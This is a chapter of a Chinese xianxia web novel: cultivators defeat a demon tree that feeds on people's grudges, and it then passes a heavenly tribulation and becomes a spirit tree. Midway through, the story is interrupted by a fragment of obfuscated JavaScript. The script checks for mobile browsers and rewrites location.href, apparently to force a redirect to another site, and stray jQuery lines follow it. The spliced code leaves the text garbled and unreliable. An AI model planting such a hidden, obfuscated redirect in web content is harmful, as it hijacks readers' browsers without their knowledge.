29. 我是真气啊…… 天色已经亮了,蒲小羽……

作品:《今日宜修仙

    天色已经亮了,蒲小羽就算不熟悉温阳,飞得高点,就看到楚宫方向了,这里距离楚宫有些距离,几乎住在城门口了。她操控纸片人三两下飞进宫门里,靠着小身板,没人发现得了她。


    她飞进观星台上,飞过头了刹不住,撞在一个天官脚上:“道友,低头,看我。”


    那天官一阵惊异,低头看到小纸片人。


    “小道变变。”


    “啊原来是变变道友。”天官把她拿起来,“承允师兄很担心你,我带你去找他,月月道友也在,还有几个道友也来了。”


    “昨夜之后,魔物可还来?”


    “没有。”


    天官把她带到观星阁,这间阁子用的也是镜石铺就,阁楼顶上绘着满天星宿,同样倒映在镜石上。她不禁想到观星台上的砖碎了,真可惜,要不把这阁子里的砖扒下来搬上去?可是这里也真好看……


    容不得她感慨,从天官手里飞到海明月肩上:“明月,是我。”


    “蒲姐姐。”


    承允语气略急:“蒲道友你没事!”


    “没事,让你们担心了,不过我现在只能维持这样。”蒲小羽跳了两下,不慎踩空掉下去,她连忙拽住海明月的小辫子挂在上边。


    “噗嗤——”


    几个笑声,蒲小羽决定不理会,趴着装死,真身继续御剑赶去找楚望北。


    因天官令来的道人,其中一个是蒲小羽和海明月见过的玄松,鹤发童颜,气度潇洒,他身边是个苍老却矫健的老婆婆,手里一根雕着祥云的黄杨木杖,还挂着串小铃铛,铃铛摇晃但没声响。


    这位老婆婆道号百花,她正好在温阳附近游历,昨晚还收到天官令,就加快了几步,黎明时进入温阳。她有三百多岁,是清屏峰的修道者,清屏峰大多如此。入道后,走遍天下,以年老身健为荣,成仙后,再修返老还童之术,越童则法术越高,最后修成婴儿乃至真身消解,与天地相融,又随时幻化出人身,诚然,能达到这般境界,传说只有清祖了。蒲小羽见过清屏峰的神仙们来霄山串门,满地奶娃子走出活了几千年的平静微死感。


    观星阁内还有一个年轻的小姑娘,修的是炼丹术,道号曜灵,和海明月差不多,却又比海明月明亮热情,穿得红红绿绿,发髻花瓣珍珠,总之花枝招展的,她有两百多岁,生祠十来座,在修道界十分有名气,天赋异禀、根骨奇佳说的就是这类人,十岁就有了画意念符的天赋,以至于她家的门槛都被踏破了,想求丹方,顺便跟她父亲唠唠育儿心得。


    蒲小羽问:“追踪符画好了吗?”


    海明月道:“我也才刚到这里,未来得及。”


    她拿出两张符纸,一符上附有昨夜她伤到魔物时夺来的黑色水液,渗进另一张符中,随着她凝气而逐渐勾成一串符文,最后金光一闪,符成。


    一直屏息的几人纷纷松了口气。


    悬在空中的符指向一个地方,那是魔物的真身之处。


    承允道:“这只魔物昨夜被清心阵所伤,到现在都没有动静,指不定在恢复,我们要快些赶过去才行。”


    “没错。再布一个清心阵,彻底了结他。”蒲小羽跃跃欲试,昨夜要不是找不到魔物真身,能把魔物打成半残,现在有这些个厉害的人在,那自不必多说。


    玄松担忧:“承允道友,你伤未好,就留守在此吧,以防宫中有变。”


    承允摇头:“杀不了这个魔物,一样守不住王宫。”


    一旁的曜灵嗓音清脆:“承允道友说的对呀,我们一起去好了。”


    几人不再拖延,跟着追踪符,一同前去。


    海明月的天眼所见之处,温阳城内,丝丝缕缕的黑气从一些人的身上,钻进地底,而非升腾起来。


    仔细一看,竟是被极深的地下树根所吸去了,因下方太深,树根纵横交错,还有许多精怪灵物也在其间,根本看不清,也找不出源头所在。


    她把所见的说给蒲小羽他们听。


    曜灵跟蒲小羽之前的说法差不多:“这只魔物能吃这么多种邪念,他修得好杂呀,感觉怨气冲天。”


    承允更想知道了,这样的杂魔,究竟如何才会被周国所用。


    追踪符追到温阳城外的山谷里,冒着黑气,周围的树叶子发黑,精怪们长出獠牙,连兔子牛羊都在食肉。


    源头处,是一颗参天大树,遮天蔽日,现在感觉到他们的靠近,往上疯长,大有与山比高的意思,在树荫之下,忽然阴风刺骨,许多声音嘈嘈杂杂响起,有男有女,大哭的、大笑的、愤怒的、憎恶的……和之前蒲小羽听到的一模一样,但现在更清晰。


    她在海明月袖子里飞快道:“明月给我一张清心符。”


    “速来受死!”魔物大喊,顿时狂风大作,树叶齐鸣,几团黑雾将他们冲散。


    来时他们已经商量好,海明月做主阵眼,四人副阵眼,清心符做阵子,这一整片山谷皆入阵中,金光比昨夜的更大更盛。


    蒲小羽用清心符把自己的纸人身包裹起来,才探出袖子去看,狂风差点把她吹飞,她看到一片黑色叶子里有一个女子又哭又恨,破口大骂:


    “那贱男人甘心做兔儿爷,他娘这老虔婆不打死逆子也就罢,一脸愧疚说让我也去外头找找,我可去他娘的……”


    “想一出是一出,日日无用重复工,若我这么惨是上辈子刨了他家祖坟,让我再刨一次,下辈子再一起还……”


    “码头扛包累死累活半个月,王府好不容易下来赏钱,全被那畜牲独吞了,还说没有他谁来给我们介绍活,真想屠了他全家!他明日还叫我去修桥,真不要脸啊……”


    “一日十二个时辰,干十个时辰,还说我穷是因不努力不争气,我明日就吊死在他家门口……”


    “满朝文武皆残废,半脑上司贱同僚。气病就医钱倒贴,唯唯干活骂他叼。死也要拉他们垫背……”


    字字句句钻进蒲小羽耳朵里,缭绕谩骂,影响人之神志,她连忙裹紧身上的清心符,尽量不受影响,但很难,魔音入耳,她都要跟着咬牙切齿:“我是真气啊……”


    话一出口,她瞬间清醒,捂住嘴巴,傻眼了。真身快快收回神识,让海明月他们自求多福,这只魔物的邪念怨气重得吓人。


    这种声音同样冲击海明月等人,在她们脑中生成幻境,直接带入进去,原本坚定施法的五人,渐渐面带怨气,大树疯狂摇摆着,好似摇旗呐喊,让五人一起加入他,一起去毁天灭地。


    蒲小羽又担心他们,返回来看到这场面,目瞪口呆,抬头看到海明月喃喃:“我要,屠他满门。”


    “明月,别被影响了!”蒲小羽跳脚,在袖子里咬海明月的手腕,海明月不为所动。


    她又去看承允,同样一脸憎恨:“迟到一步扣钱,延迟放衙你是一字不提啊……”


    再看玄松:“我没后台靠山怎么了?”


    再看百花:“教又教不会,学又不想学,就想白嫖,死去吧!”


    再看曜灵:“明日要的东西为何今晚才给我整理!”


    清心阵金光暗淡,符文渐渐停滞,蒲小羽没想到昨夜可以重伤魔物,今日居然撑不过一刻,五人全都沉浸幻境里……


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756923|157552||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >就在蒲小羽决定豁出去施法时,海明月突然变幻印决,她在袖子里险些站不稳。


    “明月!你醒了!”


    “险些着了他的道。”海明月念着清心决,清心阵再次转动,天色被茂密的树冠遮去,漆黑阴冷,在此之下的虫兽红着眼睛厮打互咬,草木散发出有毒的腥臭味和毒液。


    原本金光包裹的承允等人,也渐渐被黑雾侵蚀,蒲小羽担忧着,谁知承允忽然喊了一声:“好不要脸。”然后睁开眼,眼底清明,看到置身何处时,从茫然变为后怕,紧接着包裹他的黑雾如潮水退却。


    再到曜灵、玄松、百花,清心阵的符文逐渐清晰可见,一字一字飞快贴到树干上,再渗进去,魔物大叫,片片黑叶狂卷,将这一方天地包起来。


    一叶一幻境,蒲小羽还没见过这么多幻境,跌落进去如此真实。


    一时间,双方较量,免不得又会被拽进幻境里,一个接一个,又突然清醒睁开眼。


    那魔物最终撑不住,比山高的树矮下来,黑雾从片片叶子里散出,幻境也随之破碎……


    “成了吗?”蒲小羽低头看地上发狂的虫兽不再扭打,除了血迹遍地触目惊心。


    海明月他们也有同样的想法,巨树已经恢复正常颜色,忽然一阵大哭响彻山谷,他们又如临大敌,眼见巨树化身成人,不是海明月见到的那个丑陋样貌,而是一个穿着青袍的俊逸男子,仰躺而哭,肝肠寸断。


    海明月几人疑惑收势,不确定走进,只见男子坐起来,垂头呢喃:“听遍世间愁。欲解语,怎解语?风送哀戚不肯休……”


    好不容易露出的日光这时又被乌云遮住,蒲小羽紧张,海明月几人也准备捏决,抬头看见乌云里天雷滚滚,紫龙咆哮,大雨骤降。


    这场面,蒲小羽熟悉啊……


    几人面面相觑,这里年长的是玄松。


    “玄松道友要渡劫飞升了吗?”


    玄松茫然:“不是我,曜灵道友?”


    曜灵瞪大眼睛:“怎可能,我修散仙,你们知道的呀。”


    再看百花,百花摆手:“不是我不是我……”


    承允:“更不可能是我了。”


    海明月先行一步:“雷劫要下来了,还不快走!”


    几人纷纷退离到山的另一头,心里也有了答案,这里这么多人都不是,只有一个树妖了。


    果然,雷劫落下,轰响天崩地裂,将那化成人形的树妖打进地底。


    差点被雷砸到,承允后怕:“魔物渡劫飞升,今日开眼了。”


    曜灵在骤雨里看着地下的大坑,周围的草木在风雨中燃烧:“三道,他能不能撑得住呀……”


    蒲小羽也扒拉着袖子看下去:“好像最后他魔气消散,是不是一瞬间悟到什么,才引来雷劫?”


    “极有可能。”


    百花把祥云杖跺了跺,叹道:“一瞬开悟,也是大机缘。”


    三道雷劫,一道比一道势足,要么消解,要么成仙。几人在此等候,期待从那个深坑里,长出一颗灵树来,枝繁叶茂,仙气飘飘。


    从白日到黑夜,从黑夜至天明。


    一缕金色雾气袅袅升起,随之而来的是大地慢慢恢复如初,焦黑的草木慢慢生芽,已死的鸟兽睁开眼睛,紧接着,一棵树苗破土而出,长到五六丈之高,才开出朱红的花,继续迎着日光向上至十丈高,结出正黄的果,其叶长一丈,宽二尺,厚五分,引来飞鸟鸣鸣,小兽攀爬,蜂蝶围绕,直到三十多丈才停止。


    蒲小羽现在表达情绪的方式就是跳跃:“他他他、他是如何树!”